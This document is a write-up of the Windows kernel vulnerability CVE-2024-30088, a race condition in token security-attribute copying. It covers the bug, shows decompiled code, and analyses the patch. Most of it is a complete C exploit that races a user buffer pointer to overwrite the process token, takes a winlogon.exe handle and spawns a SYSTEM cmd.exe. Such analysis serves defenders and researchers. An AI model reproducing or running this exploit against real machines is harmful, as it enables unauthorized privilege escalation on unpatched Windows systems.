Vulnerability Overview
CVE-2024-30088 is a critical vulnerability within the AuthzBasepCopyoutInternalSecurityAttributes
function of the Windows operating system. This vulnerability is triggered when the kernel copies the _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION
of the current token object to user mode:
// 0x30 bytes (sizeof)
struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION {
ULONG SecurityAttributeCount; // 0x0
struct _LIST_ENTRY SecurityAttributesList; // 0x8
ULONG WorkingSecurityAttributeCount; // 0x18
struct _LIST_ENTRY WorkingSecurityAttributesList; // 0x20
};
During the copy process, the kernel directly sets the list of SecurityAttribute
structures to a user-supplied pointer. Subsequently, the RtlCopyUnicodeString
and AuthzBasepCopyoutInternalSecurityAttributeValues
functions are called to copy the names and values of the SecurityAttribute
structures. This sequence introduces multiple Time-of-Check to Time-of-Use (TOCTOU) vulnerabilities, allowing an attacker to modify pointers in a race condition, leading to arbitrary address writes with controlled data and size.
Exploitation
Exploiting this vulnerability involves a race condition where an attacker can modify the buffer pointer of the attribute name before the RtlCopyUnicodeString
function is called:
- Triggering the Vulnerability: This can be triggered by calling the
NtQueryInformationToken
with theTokenAccessInformation
class. - Modifying the Buffer Pointer: Using a racing thread, the attacker can modify the buffer pointer before the
RtlCopyUnicodeString
function is executed, pointing it to an arbitrary address. - Arbitrary Write: Once the pointer is modified, the attacker can achieve arbitrary address writes with controlled data and size.
if (p_SecurityAttributesList->Flink != p_SecurityAttributesList) {
v13 = pInfo + 0x98;
do {
v14 = *(_QWORD **)(pInfo + 0x10);
if (*v14 != v7) {
__fastfail(3u);
}
*(_QWORD *)(v13 - 96) = v14;
*(_QWORD *)(v13 - 104) = v7;
*v14 = v13 - 104;
*(_QWORD *)(pInfo + 16) = v13 - 104;
++*(_DWORD *)pInfo;
*(_WORD *)(v13 - 56) = *(_WORD *)(Flink + 48);
v15 = *(_DWORD *)(Flink + 52);
*(_QWORD *)(v13 - 48) = 0i64;
*(_DWORD *)(v13 - 40) = 0;
*(_DWORD *)(v13 - 16) = 0;
v16 = (v10 + 1) & 0xFFFFFFFFFFFFFFFEui64;
*(_QWORD *)(v13 - 32) = v13 - 32;
RtlCopyUnicodeString((v13 - 0x48), (Flink + 0x20)); // Vulnerable call
} while (Flink != p_SecurityAttributesList->Flink);
}
Patch Analysis
The patch for CVE-2024-30088 introduces a critical change to prevent the exploitation. The kernel now uses a local variable on the stack (denoted as v18
in the code) as a buffer to copy the security attribute names before writing them back to the user buffer if the syscall originates from user mode. This approach eliminates the race condition by ensuring that the data is securely handled within kernel space before any interaction with user space.
// Local variable on stack used as a buffer
v18.Buffer = kernel_stack_buffer;
v18.MaximumLength = attribute_name_length;
v18.Length = 0;
// Securely copy the attribute name to the local buffer
RtlCopyUnicodeString(&v18, &kernel_security_attribute_name);
// Write back to user buffer
user_buffer = v18.Buffer;
Full Exploit Code
#include <Windows.h>
#include <stdio.h>
#include "ex.h"
#pragma comment(lib, "ntdll.lib")
#define OFFSET_PID 0x440
#define OFFSET_PROCESS_LINKS 0x448
#define OFFSET_TOKEN 0x4b8
#define OFFSET_KPROCESS 0x220
typedef NTSTATUS(*pNtWriteVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
IN PVOID Buffer,
IN ULONG NumberOfBytesToWrite,
OUT PULONG NumberOfBytesWritten OPTIONAL
);
typedef NTSTATUS(*pNtReadVirtualMemory)(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress,
OUT PVOID Buffer,
IN ULONG NumberOfBytesToRead,
OUT PULONG NumberOfBytesRead OPTIONAL
);
typedef NTSTATUS NtQueryInformationToken(
HANDLE TokenHandle,
TOKEN_INFORMATION_CLASS TokenInformationClass,
PVOID TokenInformation,
ULONG TokenInformationLength,
PULONG ReturnLength
);
typedef struct _AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION {
ULONG SecurityAttributeCount;
struct _LIST_ENTRY SecurityAttributesList;
ULONG WorkingSecurityAttributeCount;
struct _LIST_ENTRY WorkingSecurityAttributesList;
} AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION, *PAUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
NtQueryInformationToken* pQueryInfoToken = NULL;
HANDLE hToken;
BYTE* TokenInfo = NULL;
DWORD Infolen = 0x1000;
DWORD retlen = 0;
DWORD OffsetToName = 0;
BYTE* RaceAddr = NULL;
ULONGLONG kTokenAddr = 0;
void RaceThread() {
ULONGLONG value = kTokenAddr + 0x40 - 4;
for (int i = 0; i < 0x10000; i++) {
*(WORD*)(RaceAddr + 2) = 2;
*(ULONGLONG*)(RaceAddr + 8) = value;
}
}
int main() {
HMODULE ntdll = GetModuleHandleA("ntdll");
pQueryInfoToken = (NtQueryInformationToken*)GetProcAddress(ntdll, "NtQueryInformationToken");
if (!pQueryInfoToken) {
fprintf(stderr, "Failed to get NtQueryInformationToken address.\n");
return -1;
}
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
fprintf(stderr, "Failed to open process token.\n");
return -1;
}
kTokenAddr = (ULONGLONG)GetKernelPointerByHandle(hToken);
printf("hToken: %p, kTokenAddr: %p\n", hToken, (void*)kTokenAddr);
getchar();
TokenInfo = (BYTE*)VirtualAlloc(NULL, Infolen, MEM_COMMIT, PAGE_READWRITE);
if (!TokenInfo) {
fprintf(stderr, "Failed to allocate memory for token information.\n");
return -1;
}
NTSTATUS status = pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
if (status != 0) {
fprintf(stderr, "NtQueryInformationToken failed with status: 0x%x\n", status);
return -1;
}
_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION* pSecurityAttributes =
(_AUTHZBASEP_SECURITY_ATTRIBUTES_INFORMATION*)((_TOKEN_ACCESS_INFORMATION*)TokenInfo)->SecurityAttributes;
if (pSecurityAttributes->SecurityAttributeCount) {
BYTE* Flink = (BYTE*)pSecurityAttributes->SecurityAttributesList.Flink;
if (Flink) {
OffsetToName = Flink + 0x20 - TokenInfo;
printf("Found target offset value: 0x%x\n", OffsetToName);
}
}
if (!OffsetToName) {
fprintf(stderr, "Failed to find target offset value.\n");
return -1;
}
RaceAddr = TokenInfo + OffsetToName;
printf("Target address = %p\n", (void*)RaceAddr);
HANDLE hWinLogon = INVALID_HANDLE_VALUE;
ULONG pid = GetPidByName(L"winlogon.exe");
while (1) {
HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RaceThread, NULL, 0, NULL);
if (!h) {
fprintf(stderr, "Failed to create race thread.\n");
return -1;
}
SetThreadPriority(h, THREAD_PRIORITY_TIME_CRITICAL);
for (int i = 0; i < 5000; i++) {
pQueryInfoToken(hToken, (TOKEN_INFORMATION_CLASS)22, TokenInfo, Infolen, &retlen);
}
WaitForSingleObject(h, INFINITE);
hWinLogon = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hWinLogon) {
break;
}
}
printf("Got Winlogon handle: %p\n", hWinLogon);
getchar();
if (!CreateProcessFromHandle(hWinLogon, (LPSTR)"C:\\Windows\\system32\\cmd.exe")) {
fprintf(stderr, "Failed to create process from handle.\n");
}
CloseHandle(hWinLogon);
CloseHandle(hToken);
return 0;
}